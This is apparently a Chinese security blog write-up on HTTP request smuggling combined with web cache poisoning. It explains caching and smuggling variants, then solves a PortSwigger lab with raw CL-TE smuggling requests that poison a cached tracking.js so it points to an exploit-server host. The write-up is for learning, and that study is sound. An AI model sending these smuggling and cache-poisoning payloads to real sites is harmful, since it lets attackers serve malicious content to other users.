Http-Sumggling-缓存漏洞

VSole2022-08-04 16:19:22

当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看

在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解。

什么是Web缓存

WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。

缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有

•后端程序缓存

•服务器缓存

•浏览器缓存

•缓存服务器

•CDN缓存

最常见的无疑就是CDN及其类似的缓存服务器

而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念

什么是web缓存漏洞

如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷

这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了

如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,也叫缓存投毒

Http Sumggling

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的

一般可分为以下几种

•CL: Content-Length

•TE: Transfer-Encoding

•CL不为0的GET请求

•CL-CL

•CL-TE

•TE-CL

•TE-TE

在mengchen@知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述

https://paper.seebug.org/1048/#35-te-te

Http Sumggling 缓存漏洞

靶场

依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场

解法

判断是否存在走私,确定为CL-TE

POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10
x=1

第一次请求为

POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked

第二次请求为下半段

GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10
x=1

可以看到存在302跳转

然后我们需要找到哪里进行缓存投毒,这里我以/resources/js/tracking.js进行投du

可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存投du

•先点击send post

 POST / HTTP/1.1Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 195Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/Content-Type: application/x-www-form-urlencodedContent-Length: 10
x=1

 访问到第一部分

 

•然后在/resources/js/tracking.js send包

 

 

 可以发现成功投du,缓存键为miss,那下一个包应该就可以成功转接到exploit上,我们试试

•对原界面进行抓包,多试几次

 

 

 发现host成功变为我们的exploit

后言

漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志

缓存服务器浏览器缓存
本作品采用《CC 协议》,转载必须注明作者和本文链接
Http-Sumggling-缓存漏洞
2022-08-04 16:19:22
当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看
探讨DNS解析流程
2022-08-08 22:05:47
如果 DNS 服务器出现故障,整个 Internet 网络都将关闭。本地 DNS 服务器收到来自客户端的 DNS 请求,它会在其缓存中查找 google.com 的 IP 地址。根域名服务器作为最高级别的 DNS 服务器,全球共 13 台。顶级 .com 区域 DNS 服务器再次为该请求指明了方向。
显然不能将所有信息都储存在一台域名服务器中。根域名服务器是最高层次的域名服务器。因特网上共有13个不同IP地址的根域名服务器。因此权限域名服务器知道其管辖的域名与IP地址的映射关系。当一个主机发出DNS请求报文时,这个报文就首先被送往该主机的本地域名服务器
几道网络面试题!看看你都会吗?
数据链路层在不可靠的物理介质上提供可靠的传输。与IP协议配套使用实现其功能的还有地址解析协议ARP、逆地址解析协议RARP、因特网报文协议ICMP、因特网组管理协议IGMP。ARP 是即插即用的,一个ARP表是自动建立的,不需要系统管理员来配置。
数据链路层在不可靠的物理介质上提供可靠的传输。以太网协议详解MAC地址:每一个设备都拥有唯一的MAC地址,共48位,使用十六进制表示。与IP协议配套使用实现其功能的还有地址解析协议ARP、逆地址解析协议RARP、因特网报文协议ICMP、因特网组管理协议IGMP。ARP 是即插即用的,一个ARP表是自动建立的,不需要系统管理员来配置。
数据链路层在不可靠的物理介质上提供可靠的传输。以太网协议详解MAC地址:每一个设备都拥有唯一的MAC地址,共48位,使用十六进制表示。与IP协议配套使用实现其功能的还有地址解析协议ARP、逆地址解析协议RARP、因特网报文协议ICMP、因特网组管理协议IGMP。ARP 是即插即用的,一个ARP表是自动建立的,不需要系统管理员来配置。
数据链路层在不可靠的物理介质上提供可靠的传输。以太网协议详解MAC地址:每一个设备都拥有唯一的MAC地址,共48位,使用十六进制表示。网络层网络层的目的是实现两个端系统之间的数据透明传送,具体功能包括寻址和路由选择、连接的建立、保持和终止等。
数据链路层在不可靠的物理介质上提供可靠的传输。与IP协议配套使用实现其功能的还有地址解析协议ARP、逆地址解析协议RARP、因特网报文协议ICMP、因特网组管理协议IGMP。ARP 是即插即用的,一个ARP表是自动建立的,不需要系统管理员来配置。
Web缓存就是服务器会先将之前没见过的请求对应的响应缓存下来,然后当有认为是相同请求的时候直接将缓存发给用户,这样可以减轻服务器的负荷。
VSole
网络安全专家